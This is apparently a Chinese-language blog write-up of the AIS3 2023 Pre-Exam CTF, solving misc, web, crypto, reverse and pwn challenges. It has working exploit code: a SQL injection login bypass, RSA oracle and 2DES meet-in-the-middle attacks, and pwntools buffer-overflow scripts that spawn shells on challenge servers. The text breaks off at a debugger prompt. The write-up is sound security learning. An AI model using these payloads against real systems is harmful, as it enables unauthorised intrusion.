今年是我打AIS3 Pre-Exam的第三年,今年的目標原本只是比去年的名次好就可以了,沒想到居然打進了前10,覺得十分神奇.w.(當然比較大的可能性是大佬都跑去出題ㄌ:P)今年解出的題目分數也都比較高,去年解的題目大部分都是降到100分XD總之很驚訝自己今年可以拿到第9名,也希望自己可以持續進步!

AIS3官方網站

Misc

Welcome [100]

Are you not a robot ?
FLAG Format: ^AIS3{[A-Z0-9+-*/!?-]+}$

Author: nella17

file: https://drive.google.com/file/d/1OU5R736aRgj9KLce9S4CQj0qsDA6tm2g/view?usp=sharing

這題題目給了一個pdf,每張不同大小和形狀的紙裡面各包含了1個flag的字元,只要把他們通通拼在一起即可拿到flag。要注意題目中的Regex並沒有_,所以flag是以-來進行連接。

FLAG: AIS3{WELCOME-TO-2023-PRE-EXAM&MY-FIRST-CTF}

Robot [100]

Are you a robot?

Note: This is NOT a reversing or pwn challenge. Don’t reverse the binary. It is for local testing only. You will actually get the flag after answering all the questions. You can practice locally by running ./robot AIS3{fake_flag} 127.0.0.1 1234 and it will run the service on localhost:1234.

Author: toxicpie

nc chals1.ais3.org 12348

file: https://drive.google.com/file/d/1cczdP1CntYpbMrU5kD_mf3_Gv3DNYTQe/view?usp=sharing

這題用nc連進去之後會發現要在90秒內做出30道數學題,由於數字很小很容易心算,而且中間又有空格,code需要一點特判,所以我決定直接用心算解完30道數學題之後就能拿到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
$ nc chals1.ais3.org 12348
Timeout is 90 seconds
Answer 30 easy math questions to get the flag. Let's go!
9 + 1
10
5 * 2
10
5 * 10
50
8+7
15
2 + 2
4
4 + 8
12
5 * 2
10
7 * 6
42
3 + 3
6
4 + 6
10
4 + 3
7
2*10
20
7 + 3
10
5 * 6
30
9 + 7
16
5 * 7
35
4 + 2
6
2 * 4
8
6*4
24
10 + 7
17
5 + 7
12
4 * 3
12
1 * 4
4
4 * 1
4
9+2
11
9*4
36
3 + 3
6
8 + 10
18
1*7
7
8+5
13
Congratulations! Flag: AIS3{don't_eval_unknown_code_or_pipe_curl_to_sh}

FLAG: AIS3{don't_eval_unknown_code_or_pipe_curl_to_sh}

Web

Login Panel [100]

Login Panel 網站採用了隱形 reCAPTCHA 作為防護機制,以確保只有人類的使用者能夠登入 admin 的帳號。你的任務是找到一個方法來繞過 reCAPTCHA,成功登入 admin 的帳號。

你可以使用各種技術和手段來達成目標,可能需要進行一些網站分析、程式碼解讀或其他形式的攻擊。請注意,你需要遵守道德規範,不得進行任何非法或有害的行為。

當你成功登入 admin 的帳號後,你將能夠獲得 FLAG。請將 FLAG 提交至挑戰平台,以證明你的成功。

Author: Ching367436

http://chals1.ais3.org:8000/

file: https://drive.google.com/file/d/1G-VtgJFEKcfN0Xj_wRZLLfXuoxPvR3tM/view?usp=sharing

這題先看source code,可以發現在/login的地方,變數直接被塞到SQL expression裡面,是一個典型的SQL Injection。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app.post('/login', recaptcha.middleware.verify, (req, res) => {
const { username, password } = req.body
db.get(`SELECT * FROM Users WHERE username = '${username}' AND password = '${password}'`, async (err, row) => {
if (err) return res.redirect(`https://www.youtube.com/watch?v=dQw4w9WgXcQ`)
if (!row) return res.redirect(`/login?msg=invalid_credentials`)
if (row.username !== username) {
// special case
return res.redirect(`https://www.youtube.com/watch?v=E6jbBLrxY1U`)
}
if (req.recaptcha.error) {
console.log(req.recaptcha.error)
return res.redirect(`/login?msg=invalid_captcha`)
}
req.session.username = username
return res.redirect('/2fa')
})
})

而目標是登入admin,但code中說明如果我們輸入的東西與username不符,就會跳出rickroll,所以我們可以注入的地方在password,只要使用payloadadmin' OR 1=1--就可以直接登入。

登入之後會進入/2FA,但從source code中可以看出,這其實沒有對/dashboard做任何防護,所以直接跳到/dashboard就可以得到flag了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
app.post('/2fa', (req, res) => {
if (req.session.username) {
const { code } = req.body
db.get(`SELECT code FROM Users WHERE username = '${req.session.username}'`, (err, row) => {
if (err)
return res.redirect(`https://www.youtube.com/watch?v=dQw4w9WgXcQ`)
if (row.code === code)
return res.redirect('/dashboard')
return res.redirect('/2fa?msg=invalid_code')
})
} else {
return res.redirect('/login')
}
})

FLAG: AIS3{' UNION SELECT 1, 1, 1, 1 WHERE ({condition})--}

Crypto

Fernet [100]

你所在的公司最近發生了一起駭客入侵事件,管理員發現駭客使用 Fernet 密碼學來加密了他們的敏感數據。你需要解開被加密的檔案,否則事情就大條了!

flag format : FLAG{xxx}

Auther : Richard ( dogxxx)

file: https://drive.google.com/file/d/15q0Ty6A7tWm6cPBP2UMWYz1yJcfN0tEM/view?usp=sharing

這題一樣直接看source code,可以發現他是利用Fernet來進行加密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import os
import base64
from cryptography.fernet import Fernet
from Crypto.Hash import SHA256
from Crypto.Protocol.KDF import PBKDF2
from secret import FLAG

def encrypt(plaintext, password):
salt = os.urandom(16)
key = PBKDF2(password.encode(), salt, 32, count=1000, hmac_hash_module=SHA256)
f = Fernet(base64.urlsafe_b64encode(key))
ciphertext = f.encrypt(plaintext.encode())
return base64.b64encode(salt + ciphertext).decode()

# Usage:
leak_password = 'mysecretpassword'
plaintext = FLAG

# Encrypt
ciphertext = encrypt(plaintext, leak_password)
print("Encrypted data:",ciphertext)

# Encrypted data:iAkZMT9sfXIjD3yIpw0ldGdBQUFBQUJrVzAwb0pUTUdFbzJYeU0tTGQ4OUUzQXZhaU9HMmlOaC1PcnFqRUIzX0xtZXg0MTh1TXFNYjBLXzVBOVA3a0FaenZqOU1sNGhBcHR3Z21RTTdmN1dQUkcxZ1JaOGZLQ0E0WmVMSjZQTXN3Z252VWRtdXlaVW1fZ0pzV0xsaUM5VjR1ZHdj

從code裡面可以知道,他的key是利用password與salt使用PBKDF2生成,但password和salt都是已知,可以分別從source code和output中得到,因此我們可以直接造出一模一樣的key來對加密的東西進行解密。將這段code稍作修改後就能作為exploit拿來decrypt,得到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import base64
from cryptography.fernet import Fernet
from Crypto.Hash import SHA256
from Crypto.Protocol.KDF import PBKDF2

def decrypt(ciphertext, password, salt):
key = PBKDF2(password.encode(), salt, 32, count=1000, hmac_hash_module=SHA256)
f = Fernet(base64.urlsafe_b64encode(key))
plaintext = f.decrypt(ciphertext)
return plaintext

leak_password = 'mysecretpassword'
ciphertext = base64.b64decode(b'iAkZMT9sfXIjD3yIpw0ldGdBQUFBQUJrVzAwb0pUTUdFbzJYeU0tTGQ4OUUzQXZhaU9HMmlOaC1PcnFqRUIzX0xtZXg0MTh1TXFNYjBLXzVBOVA3a0FaenZqOU1sNGhBcHR3Z21RTTdmN1dQUkcxZ1JaOGZLQ0E0WmVMSjZQTXN3Z252VWRtdXlaVW1fZ0pzV0xsaUM5VjR1ZHdj')
salt = ciphertext[:16]
ciphertext = ciphertext[16:]

print(decrypt(ciphertext, leak_password, salt))

FLAG: FLAG{W3lc0m3_t0_th3_CTF_W0rld_!!_!!!_!}

2DES [484]

「2DES 」是一個刺激的「Capture the Flag」(CTF)挑戰,考驗你在解密使用 Double DES(2DES)加密的數據方面的技能。準備好進入密碼學的世界,解開這個加密訊息中隱藏的秘密。

在這個挑戰中,你將面對一個使用 2DES 加密算法保護的加密訊息。你的任務是解密這個訊息並恢復原始明文。為了做到這一點,你需要深入了解密碼學原理,並能夠運用各種技術來破解加密。

你準備好踏上這個激動人心的解密之旅,揭示這個訊息中隱藏的秘密了嗎?加入我們的「2DES 加密 CTF 挑戰」,在迷人的密碼學世界中展示你的技巧吧!

Author: Ching367436

file: https://drive.google.com/file/d/1IFZz-1Q0En15uO6MehLM35cxDMZA6Sip/view?usp=sharing

這題的題目已經很明顯地暗示這題是Double DES了,而其最常見的攻擊手法就是Meet In The Middle(MITM)中間相遇攻擊,因此可以直接利用這個弱點來進行攻擊,分別拿到key1與key2。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
const crypto = require('crypto')
const FLAG = require('./flag')
const assert = require('assert')

// Generate key and IV
const key1 = crypto.randomBytes(8)
const key2 = crypto.randomBytes(8)
const iv = Buffer.concat([Buffer.from('AIS3 三')])

for (let i = 0; i < 8; i++) {
key1[i] = key1[i] | 0b11110000
key2[i] = key2[i] | 0b11110000
}


function encrypt(msg, key, iv) {
const cipher = crypto.createCipheriv('des-cbc', key, iv)
let encrypted = cipher.update(msg)
encrypted = Buffer.concat([encrypted, cipher.final()])
return encrypted
}

function decrypt(msg, key, iv) {
const decipher = crypto.createDecipheriv('des-cbc', key, iv)
let decrypted = decipher.update(msg, 'nyan~')
decrypted = Buffer.concat([decrypted, decipher.final()])
return decrypted
}

const hint_pt = Buffer.from('AIS3{??????????}', 'utf8')

res = encrypt(encrypt(FLAG, key1, iv), key2, iv)
hint = encrypt(encrypt(hint_pt, key1, iv), key2, iv)

assert.equal(
decrypt(decrypt(res, key2, iv), key1, iv).toString('utf8'),
FLAG.toString('utf8')
)

console.log(`let res = '${res.toString('hex')}'`)
console.log(`let hint_pt = '${hint_pt.toString('hex')}'`)
console.log(`let hint = '${hint.toString('hex')}'`)
// console.log(`let key1 = '${key1.toString('hex')}'`)
// console.log(`let key2 = '${key2.toString('hex')}'`)
console.log(`let iv = '${iv.toString('hex')}'`)
console.log(`
module.exports = {
res: res,
hint: hint,
iv: iv,
hint_pt: hint_pt,
}
`)

首先我們需要先造出一個所有key的list,在這裡我使用C++來進行IO加速。其中在解密的時候可以發現,前面4 bit因為特殊for迴圈的關係,固定會是1111,而且最後1 bit的數值1/0並不會影響到解密出來的東西,所以可以枚舉奇數就好,因此一位會產生$2^3=8$種可能,並一共會產生$8^8=16777216$種key,在可電腦窮舉的範圍內。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include<bits/stdc++.h>
#include<stdint.h>
#define IOS ios::sync_with_stdio(false);cin.tie(0);cout.tie(0);
using namespace std;

int32_t main(){
IOS
ofstream MyFile("key.txt");
for(int a=1;a<16;a+=2){
printf("%d\n",a);
for(int b=1;b<16;b+=2){
for(int c=1;c<16;c+=2){
for(int d=1;d<16;d+=2){
for(int e=1;e<16;e+=2){
for(int f=1;f<16;f+=2){
for(int g=1;g<16;g+=2){
for(int h=1;h<16;h+=2){
MyFile<<hex<<"f"<<a<<"f"<<b<<"f"<<c<<"f"<<d<<"f"<<e<<"f"<<f<<"f"<<g<<"f"<<h<<"\n";
}
}
}
}
}
}
}
}
MyFile.close();
return 0;
}
// key.txt

生成key.txt之後,我針對題目所給的hint_pthint分別進行加密與解密,並且儲存到en.txtde.txt兩個檔案中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
const crypto = require('crypto')

const iv = Buffer.concat([Buffer.from('AIS3 三')])
let hint_pt = Buffer.from('414953337b3f3f3f3f3f3f3f3f3f3f7d',"hex")
let hint = Buffer.from('118cd68957ac93b269335416afda70e6d79ad65a09b0c0c6c50917e0cee18c93', "hex")

var fs = require('fs');
var readline = require('readline');
var inputStream = fs.createReadStream('key.txt');
var lineReader = readline.createInterface({ input: inputStream });
lineReader.on('line', function(line) {
let key1 = Buffer.from(line,"hex")
k = encrypt(hint_pt, key1, iv)
fs.appendFile('en.txt', key1.toString("hex")+' '+k.toString("hex")+'\n', function (err) {
if (err)
console.log(err);
});
});

function encrypt(msg, key, iv) {
const cipher = crypto.createCipheriv('des-cbc', key, iv)
let encrypted = cipher.update(msg)
encrypted = Buffer.concat([encrypted, cipher.final()])
return encrypted
}
// en.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const crypto = require('crypto')

const iv = Buffer.concat([Buffer.from('AIS3 三')])
let hint_pt = Buffer.from('414953337b3f3f3f3f3f3f3f3f3f3f7d',"hex")
let hint = Buffer.from('118cd68957ac93b269335416afda70e6d79ad65a09b0c0c6c50917e0cee18c93', "hex")

var fs = require('fs');
var readline = require('readline');
var inputStream = fs.createReadStream('key.txt');
var lineReader = readline.createInterface({ input: inputStream });
lineReader.on('line', function(line) {
let key2 = Buffer.from(line,"hex")
try{
k = decrypt(hint, key2, iv)
if(k.toString("hex").length < 50){
console.log(key2.toString("hex"), k.toString("hex"))
}
fs.appendFile('de.txt', key2.toString("hex")+' '+k.toString("hex")+'\n', function (err) {
if (err)
console.log(err);
});
}catch{}
});

function decrypt(msg, key, iv) {
const decipher = crypto.createDecipheriv('des-cbc', key, iv)
let decrypted = decipher.update(msg, 'nyan~')
decrypted = Buffer.concat([decrypted, decipher.final()])
return decrypted
}
// de.txt

兩個分別生成到一半時因為我的電腦效能太差,且nodejs的輸出效率太慢了,所以我就把它們截斷,幸運的是在裡面找到了相同的中間密文0015f807fa38ef42050da63c7100bc0f19c299aaa0323928,而對應到的key1是f5f1fbfff1fdf5f5,key2則是f7f9f9fff7fbf5f5。拿著這兩把key去對原本的flag密文做解密即可拿到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const crypto = require('crypto')

const key1 = Buffer.from('f5f1fbfff1fdf5f5',"hex")
const key2 = Buffer.from('f7f9f9fff7fbf5f5',"hex")
const iv = Buffer.concat([Buffer.from('AIS3 三')])

for (let i = 0; i < 8; i++) {
key1[i] = key1[i] | 0b11110000
key2[i] = key2[i] | 0b11110000
}

function decrypt(msg, key, iv) {
const decipher = crypto.createDecipheriv('des-cbc', key, iv)
let decrypted = decipher.update(msg, 'nyan~')
decrypted = Buffer.concat([decrypted, decipher.final()])
return decrypted
}

res=Buffer.from('6020e9735ca3bf2f63aebcf3622c994880ffed2b509c91414c75d4c500ee80f4',"hex")
console.log(decrypt(decrypt(res, key2, iv), key1, iv).toString('utf8'))

FLAG: AIS3{折半枚舉}

MSB Oracle Attack [499]

We all know RSA LSB oracle, but do you know MSB oracle?

Author: toxicpie

nc chals1.ais3.org 12347

file: https://drive.google.com/file/d/15KSYACFO3m1NWoL_Yb33G-fBtzd17jvx/view?usp=sharing

先來看看source code。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import os
import random
from Crypto.Util.number import getPrime


p = getPrime(512)
q = getPrime(512)
n = p * q
e = 65537
d = pow(e, -1, (p - 1) * (q - 1))

print(f'Your key: {hex(n)} {hex(e)}')

secret = random.randrange(n)
hint = pow(secret, e, n)

print(f'Your hint: {hex(hint)}')

for _ in range(1500):
ct = int(input('The ciphertext? '), 16)
if ct == 0:
break
pt = pow(ct, d, n)
if pt > n // 2:
print('Your plaintext is big')
else:
print('Your plaintext is small')

if input('The secret? ') == hex(secret):
flag = os.environ['FLAG']
print(f'Your flag: {flag}')
else:
print('No flag')

這題題目提到LSB oracle,可以發現與本題的想法很像,題敘從原本LSB的奇偶轉換成$\dfrac{n}{2}$,不過很快就可以發現利用大於$\dfrac{n}{2}$與小於$\dfrac{n}{2}$的條件,搭配密文輸入

$hint\times(2^{power})^e=(secret\times 2^{power})^e$

,這時解密後會出現

$secret\times 2^{power}>\dfrac{n}{2}\implies secret>\dfrac{n}{2^{power+1}}$或

$secret\times 2^{power}<\dfrac{n}{2}\implies secret<\dfrac{n}{2^{power+1}}$

兩種情況,就可以作為二分搜的條件,來限縮secret的值,最後在1500次內找到趨近真實的secret,可以直接寫二分搜的exploit拿到flag。

不過在二分搜時,因為我所使用的是整除的二分搜,因此在最後的secret上會有小於10000的誤差,這時我利用for loop窮舉來判斷加密後的結果是否與給定的hint一致,就可以確定secret的值。輸入0跳出並輸入secret後就可以拿到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

r=remote('chals1.ais3.org',12347)

r.recvuntil(b': ')
k=r.recvline().strip().decode().split(' ')
n=int(k[0],16)
e=int(k[1],16)

r.recvuntil(b': ')
k=r.recvline().strip().decode()
c=int(k,16)

flag=0
pwr=0
lr=[0,n]
while(flag<1500):
r.recvuntil(b'? ')
payload=hex((c*((2**pwr)**e))%n)
r.sendline(payload)
k=r.recvline()
print(k)
if b'small' in k:
lr[1]=(lr[0]+lr[1])//2
else:
lr[0]=(lr[0]+lr[1])//2
print(flag,lr)
flag+=1
pwr+=1
if lr[0]==lr[1]:
break
else:
print(abs(lr[0]-lr[1]))

for i in range(10000):
m=lr[0]+i
hint = pow(m, e, n)
if hint == c:
print(hex(m))
break
else:
print(m, c)

r.interactive()

FLAG: AIS3{O0o0oO0o0oOooooO0o0oOOO0oO0o0o_Y0u_a43_4_tru1ly_Or4c13!!@#!@#!@#!@$!@$!@}

Reverse

Simply Reverse [139]

Just reverse it!

file: https://drive.google.com/file/d/140muCIzd7q5vMZNwhL5DDLXAx6tguyHc/view?usp=sharing

這題其實算是非常常見的Reverse基本題,用IDA看一下會發現裡面有一個verify functionencrypted是一個已知所有值的陣列,所以只要逆向之後利用他的if判斷式直接在printable ascii之中字典爆破就可以拿到flag了,從psuedo code可以看出flag長度為34。其中*((signed int *)&v2 - 1)是index,*(&v2 - 3)是flag陣列,而需要要注意的是unsigned __int8限制範圍在256,需要取mod 256才不會出錯。

直接上exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include<bits/stdc++.h>
#include<stdint.h>
#define IOS ios::sync_with_stdio(false);cin.tie(0);cout.tie(0);
using namespace std;

int enc[34]={
138, 80, 146, 200, 6, 61, 91, 149, 182, 82,
27, 53, 130, 90, 234, 248, 148, 40, 114, 221,
212, 93, 227, 41, 186, 88, 82, 168, 100, 53,
129, 172, 10, 100
};

int32_t main(){
IOS
for(int i=0;i<34;i++){
for(int j=0;j<128;j++){
if(enc[i]==((((i^j)<<((i^9)&3))|((i^j)>>(8-((i^9)&3))))+8)%256){
cout<<char(j);
break;
}
}
}
cout<<"\n";
return 0;
}

FLAG: AIS3{0ld_Ch@1_R3V1_fr@m_AIS32016!}

Flag Sleeper [379]

Taking a nap before entering the world of AIS3 is important! A good hacker requires good sleep, and so does this flag checker.

Author: TwinkleStar03 ✨

file: https://drive.google.com/file/d/1-AkPHIHF0G9Y-3BMes2QHb1slRGeHuUo/view?usp=sharing

這題執行之後會發現他只會噴一個表情符號給你,但用IDA看不出甚麼東西,所以改用Ghidra,裡面可以發現main函數上面的一堆數字應該是三個陣列,而下面的code雖然有rand(),但他很明顯將iVar2限制在0x34之內,用這個來去取iVar1的值,而下方又利用iVar2作為index去將其餘兩個陣列的元素做xor,所以合理懷疑iVar1,也就是local_358是儲存index的陣列,而flag長度就是0x34

接下來,他將其他兩個陣列的數字利用iVar2作為index來xor,所以另外兩個陣列xor應該就是flag的字元,而根據index重新排列就能得到flag。直接寫出exploit拿到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include<bits/stdc++.h>
#include<stdint.h>
#define IOS ios::sync_with_stdio(false);cin.tie(0);cout.tie(0);
using namespace std;

int ind[0x34]={10,0xc,0x1c,7,0x26,0x1f,0x2f,0x2c,0x2a,0x23,0x30,0x1e,0x15,0xb,0x11,0x10,0x22,0x28,0x21,0x27,0x29,9,0x16,4,6,0x14,0x13,0x2e,0x17,0x2d,0x1a,0,0xf,3,8,0x2b,0xe,5,2,0x1b,0x31,1,0x33,0x24,0x25,0x18,0x19,0x32,0x20,0xd,0x1d,0x12};
int a[0x34]={0xd4,0xe8,0xa4,0x1c,0xfd,0x84,0xc2,0x2f,0x2e,0x96,0x60,0xd8,0x79,0xd8,0x8c,0xa4,0x31,0xdb,0x93,0xfc,0xc9,0x1c,9,0xbc,0x9b,0x4f,0x85,0xff,0x68,0x14,0x57,0x40,0x93,0x8f,0x44,0x93,0x8e,0x60,0xa5,0xf4,0x3e,0x3a,0x77,0x19,0x3d,0x38,0x47,0xb6,7,0x25,1,0x9a};
int b[0x34]={0xed,0xd9,0xd4,0x28,0x95,0xdb,0xa5,0x70,0x1d,0xf1,8,0xbd,0xd,0xe0,0xd3,0x95,5,0xb8,0xff,0xcf,0xa2,0x7a,0x56,199,0xaa,0x7a,0xf0,0xce,9,0x66,0x66,1,0xa3,0xbc,0x77,0xe1,0xef,3,0xf6,0x99,9,0x73,10,0x46,0x5e,0x67,0x34,0x89,0x61,0x1d,0x6d,0xd0};
int flag[0x34]={0};

int32_t main(){
for(int i=0;i<0x34;i++){
flag[ind[i]]=a[i]^b[i];
}
for(int i=0;i<0x34;i++){
cout<<char(flag[i]);
}
cout<<"\n";
return 0;
}

FLAG: AIS3{c143f9818a01_Ju5t_a_s1mple_fl4g_ch3ck3r_r1gh7?}

Vivid Emotion [493]

If you failed on this, I’ll give you some lovely emojis to cheer you up! Keep going until you see the Success!

To get the flag, store your answers into a file and run flag-decryptor.py .

There are some requirements for decryptor:

  • Install python package pycryptodome
    • pip install pycryptodome
  • To let decryptor works properly, answer_file’s content must follow the format. Please arrange your answers correctly.
    • If you don’t like my decryptor, you can reverse it and rewrite it!

If you step into some problem while checking answers using the checker, Use pwntools process to send answers to program may help.

Author: TwinkleStar03 🌟

file: https://drive.google.com/file/d/10_qEMNX18pZE7o269Fy-seph-eHgnzxL/view?usp=sharing

先把這題的elf跑起來,會發現他要輸入一個secret number,稍微逆一下就知道這個數字是333。而在輸入333之後,接下來需要輸入333個數字做為secret,而很明顯可以發現這些數字的條件判斷函數存在於所有chk開頭的區塊裡面,而這個就可以用z3 solver解決,因此寫個exploit來把數字解出來。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from z3 import *

x = IntVector('x', 333)

s = Solver()

# s.add(...)
# 詳見HackMD https://hackmd.io/@M3t30r/Bk4n4dkIn#Vivid-Emotion-493

flag= [0*333]
print(s.check())
m = s.model()
for i in m:
print(i,end=' ')
print(m[i])

解出來之後把它們依照index重新排列並且放到ans.txt裡面,送回flag-decryptor.py就能夠拿到flag了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// rearrange
#include<bits/stdc++.h>
#include<stdint.h>
#define IOS ios::sync_with_stdio(false);cin.tie(0);cout.tie(0);
using namespace std;

int ind[335]={283,314,286,277,294,295,329,285,233,202,235,243,207,332,247,238,229,225,179,257,293,269,324,100,255,246,323,301,307,183,245,318,331,218,275,288,322,261,219,289,317,266,321,259,140,157,113,172,107,68,312,163,84,287,21,187,276,216,136,42,44,76,118,160,123,311,133,64,26,43,18,40,139,119,77,101,274,188,217,28,244,125,292,32,224,305,273,47,214,92,95,155,132,328,313,319,90,267,176,248,6,253,105,206,173,102,262,190,296,168,33,242,325,271,45,171,249,310,19,167,79,197,177,120,284,148,12,78,327,193,196,85,215,127,144,170,212,22,108,81,99,96,152,29,88,93,110,9,82,221,2,182,11,10,185,31,232,236,222,91,278,256,124,130,165,290,16,25,137,279,134,231,315,189,330,36,205,192,142,252,213,264,198,200,251,14,150,94,115,166,298,86,135,46,145,241,13,15,59,158,204,111,180,30,38,228,89,210,49,223,17,117,128,131,309,153,164,282,69,121,184,83,308,57,237,297,5,226,230,4,54,75,320,272,270,300,52,263,156,8,80,162,195,51,61,220,209,146,281,302,56,109,154,280,114,138,208,35,265,1,227,63,20,112,291,316,201,159,326,71,72,58,240,97,203,250,60,62,161,67,27,55,191,126,169,34,122,186,0,23,50,239,87,73,147,175,199,306,66,74,98,3,65,7,299,37,141,149,303,103,178,53,116,151,211,48,304,24,143,104,254,234,260,174,70,129,181,268,39,194,258,41,106};
int val[335]={152,180,108,4,136,62,123,238,187,182,200,38,214,221,205,82,12,40,156,81,21,14,132,205,77,13,33,165,157,235,44,113,199,93,83,115,92,160,95,34,50,164,67,12,215,40,61,1,205,169,134,249,243,238,113,61,242,80,204,157,237,1,210,163,70,8,124,131,107,220,2,111,9,154,186,192,189,46,205,209,246,160,199,175,82,195,105,43,0,134,153,220,184,21,156,187,246,232,94,172,175,93,189,160,20,155,197,251,241,154,172,247,1,112,119,207,105,127,72,245,163,135,132,31,58,8,236,239,154,196,177,61,167,61,110,96,250,159,137,10,174,76,235,206,102,29,63,215,55,52,14,36,117,134,185,14,45,22,27,222,84,237,164,19,175,91,16,176,31,7,60,24,74,89,36,47,103,131,21,13,151,49,47,12,110,209,37,212,46,247,17,224,110,183,68,231,67,186,119,235,28,214,106,48,91,249,206,0,147,79,234,112,156,145,102,101,56,136,42,19,12,129,107,198,105,242,30,25,12,23,102,16,157,93,130,101,44,235,91,164,133,33,59,75,164,71,72,177,191,231,142,253,117,194,134,203,185,200,114,10,147,111,122,65,208,208,232,21,101,18,42,16,40,192,73,156,127,154,117,237,211,209,221,188,238,44,60,117,242,178,111,107,174,196,33,141,42,190,73,239,9,17,249,80,97,58,235,156,178,49,218,205,46,137,76,106,31,234,233,229,173,111,217,192,242,43,68,126,243,157,36,54,187};
int f[335]={0};

int32_t main(){
IOS
for(int i=0;i<333;i++){
f[ind[i]]=val[i];
}
for(int i=0;i<333;i++){
cout<<f[i]<<endl;
}
return 0;
}
// ans.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ python3 flag-decryptor.py
Welcome to the flag decryptor! (。・ω・。)ノ♡
Please make a file to store your all answers (in integers).
Make sure there is not endline at the end.
The file is has to follow the format below:
<answer[0]>
<answer[1]>
<answer[2]>
...
<answer[N]>
Here is an example that satisfies the format:
251
5
2
3
...
63
Please enter the file path of answer: ans.txt
[*] Derived Key (May not able to decrypt): 5d3242c61ffecc64bfc37f255b827ef239b6dc7c5b030458be40a1979cba2bf1
[+] Congrats (*´・∀・*)! Here is your flag: AIS3{OuO_Hope_th1s_ch4l1eng3_gIve_y0u_viv1d_em0Tions!_(ฅ^・ω・^ ฅ)}!

FLAG: AIS3{OuO_Hope_th1s_ch4l1eng3_gIve_y0u_viv1d_em0Tions!_(ฅ^・ω・^ ฅ)}

Pwn

Simply Pwn [356]

The simplest pwn

nc chals1.ais3.org 11111

file: https://drive.google.com/file/d/1XQctYAM-Ul1LKooX8ofRM51pX6P1vIQI/view?usp=sharing

這題很明顯是buffer overflow,因為read的bytes數量(256 bytes)超過了儲存量,且有一個shellcode function可以執行/bin/sh,所以要讓rsp指向他讓他跳上去。把elf跑起來之後發現過了67個bytes之後會出現一個亂碼,表示最多的儲存陣列就到67 bytes,所以接下來再蓋12 bytes把old rbp蓋掉就可以跳到shellcode上面了,所以一共要蓋$67+12=79$ bytes。直接寫exploit就可以拿到shell。

1
2
3
4
$ ./pwn
Show me your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
1
2
3
4
5
6
7
8
9
from pwn import *

r=remote('chals1.ais3.org',11111)

s=0x4017a5

r.recvuntil(b': ')
r.sendline(b'A'*79+p64(s))
r.interactive()

FLAG: AIS3{5imP1e_Pwn_4_beGinn3rs!}

ManagementSystem [443]

這個系統,看起來好像有點問題…。請利用你的技能和知識,找到漏洞並利用它們吧!

flag format : FLAG{xxx}

Author : Richard ( dogxxx)

nc chals1.ais3.org 10003

file: https://drive.google.com/file/d/1mnng4xunujuw5jCK1udhEmD5fTFkdbdi/view?usp=sharing

這題其實跟第一題很像,可以發現在delete的function裡面出現了一個gets()誤用的buffer overflow,也有secret_function可以開shell,不過這個delete function要在database裡存在user時才能使用,因此前面要先註冊一個user,接下來才繼續執行delete function。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
User *delete_user(User *head) {
printf("Enter the index of the user you want to delete: ");
char buffer[64];
gets(buffer);

int user_index;
sscanf(buffer, "%d", &user_index);

if (user_index <= 0) {
printf("Invalid index.\n");
return head;
}

if (user_index == 1) {
User *user_to_delete = head;
head = head->next;
free(user_to_delete);
return head;
}

User *previous = head;
User *current = head->next;
int count = 2;

while (current != NULL) {
if (count == user_index) {
previous->next = current->next;
free(current);
return head;
}

previous = current;
current = current->next;
count++;
}

printf("User not found.\n");
return head;
}

sscanf會將buffer裡面的數字部分存到user_index,為了要執行到ret,因此我們要先給定一個假數字後接上空白,之後再接上payload,這樣可以讓user_index的檢查正常執行,最終跳到secret_function上面。

至於要蓋掉多少,可以用gdb來看看。用gef pattern create之後,根據前面的指示,最後在delete user的地方塞入b'123 '+pattern,可以發現rsp指向了aaaanaaaaaaaoaaaaaaa,gef顯示pattern search的offset是100,所以要塞入的pattern量就是100 bytes,直接寫個exploit就可以拿到shell了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
gef➤
